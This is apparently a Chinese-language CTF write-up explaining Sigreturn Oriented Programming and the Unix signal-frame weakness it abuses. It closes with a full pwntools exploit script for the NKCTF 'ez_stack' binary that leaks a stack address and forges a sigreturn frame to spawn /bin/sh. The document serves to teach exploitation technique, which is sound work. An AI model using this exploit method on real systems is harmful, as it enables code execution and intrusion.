Introduction
在x86/amd64上,传统的ROP利用通常必须具备足以实现攻击数量的gadgets以及明确的gadgets地址,而在缺乏合适的gadgets情况下,利用过程会变的非常艰辛。
2014年 Vrije Universiteit Amsterdam 的 Erik Bosman 提出了SROP (i.e. Sigreturn Oriented Programming)
其利用了类Unix中提供signal机制,而类Unix系统发生 signal 的时候会间接地调用
sigreturn
Signal handler mechanism
类 Unix 系统的中断信号机制基本流程:
内核发送中断信号
用户态程序进程挂起
内核保留用户态进程上下文
处理信号
切换到用户态调用 Signal Handler
用户态执行
rt_sigreturn
,内核恢复用户态上下文切回用户态,用户进程恢复执行
流程图表示如下
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
当进程上下文被内核保存在栈上后,内核将
rt_sigreturn
放置在栈顶,也就是说在 Signal Handler 调用完成之后,将会执行rt_sigreturn
恢复进程上下文,如下图所示:这里将这段内存被称为Signal Frame
SROP
首先简单介绍下 Signal Frame 的缺陷
Signal Frame 是存储在用户进程的地址空间,用户进程具有读写权限。
内核恢复进程时,并不校验前后 Signal Frame
在信号处理过程中,内核将上下文保存在 Signal Frame 中,而后在信号处理完毕后将上下文恢复。
由于Signal Frame 缺陷,我们可以伪造一个上下文主动调用
rt_sigreturn
实现上下文的控制。利用条件
通过栈溢出来控制栈的内容
需要知道相应的地址
"/bin/sh"
Signal Frame
syscall
sigreturn
当然,这里的
sigreturn
我们也可以通过构造syscall实现。exploit
总体而言,最终我们需要构造如下图所示的上下文
而如果我们需要实现一系列函数调用,我们只需要改动两处:
控制栈指针
控制rip指向
syscall; ret
gadgetsE.g. ez_stack - NKCTF
明显是一个栈溢出,开了NX,排除栈上执行shellcode
可利用的gadgets几乎没有
上SROP
首先是leak stack address
思路是构造系统调用
write
找到
syscall; ret
通过
read
改变rax
实现系统调用write
泄露stack addr之后,构造 Signal Frame 而后系统调用
rt_sigreturn
完成攻击from pwn import *
from icecream import ic
import time
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug')
# context.arch = 'i386'
context.arch = 'amd64'
context.endian = 'little'
p = process(['ez_stack'])
# send
sd = lambda m : p.send(m)
sdl = lambda m : p.sendline(m)
sdls = lambda m : p.sendlines(m)
sdla = lambda a, m : p.sendlineafter(a, m)
# recv
rv = lambda n=None: p.recv(n)
rvn = lambda n : p.recvn(n)
rvu = lambda m : p.recvuntil(m, drop=True)
rvl = lambda : p.recvline()
# p
pi = lambda : p.interactive()
# gdb
gab = lambda f : gdb.attach(p, f'b * {f}') # gdb attach breakpoint
# * Start attach
write_syscall = 0x04011DC
mov_rdi_rax = 0x04011EB
mov_rax_0xf_ret = 0x0401146
syscall_ret = 0x040114E
"""
read(0, buf, 0x100) -> syscall; ret
"""
payload = cyclic(0x10)
payload += cyclic(8) # * padding: pop rbp
payload += p64(syscall_ret) # ! 1. syscall; ret -> read(0, buf, 0x200) -> rax = 1
payload += p64(mov_rdi_rax) # ! 2. rdi = rax = 1; write(1, buf, 0x200) -> leak stack addr
payload += cyclic(8) # * padding: pop rbp
payload += p64(write_syscall) # * exploit
sdla(b'Welcome to the binary world of NKCTF!', payload)
"""
mov rax, 1; syscall; ret -> write()
"""
payload = cyclic(0x1)
sleep(0.1)
sd(payload)
"""
leak stack addr
"""
rvl() # skip '\n'
leak = rv(0x200)[0x38: 0x38 + 8].ljust(8, b'\x00')
stack_addr = u64(leak)
ic(hex(stack_addr))
"""
call rt_sigreturn
"""
fr = SigreturnFrame()
fr.rax = constants.SYS_execve # execve
fr.rdi = stack_addr - 0x10a + 0x30
fr.rsi = 0
fr.rdx = 0
fr.rip = syscall_ret
fr.rsp = stack_addr
payload = cyclic(8)
payload += b'/bin/sh'.ljust(0x8, b'\x00')
payload += cyclic(8)
payload += p64(mov_rax_0xf_ret) # ! 3. mov rax, 0xf; ret (SYS_rt_sigreturn)
payload += p64(syscall_ret) # ! 4. syscall; ret
payload += bytes(fr)
sleep(0.1)
sd(payload)
pi()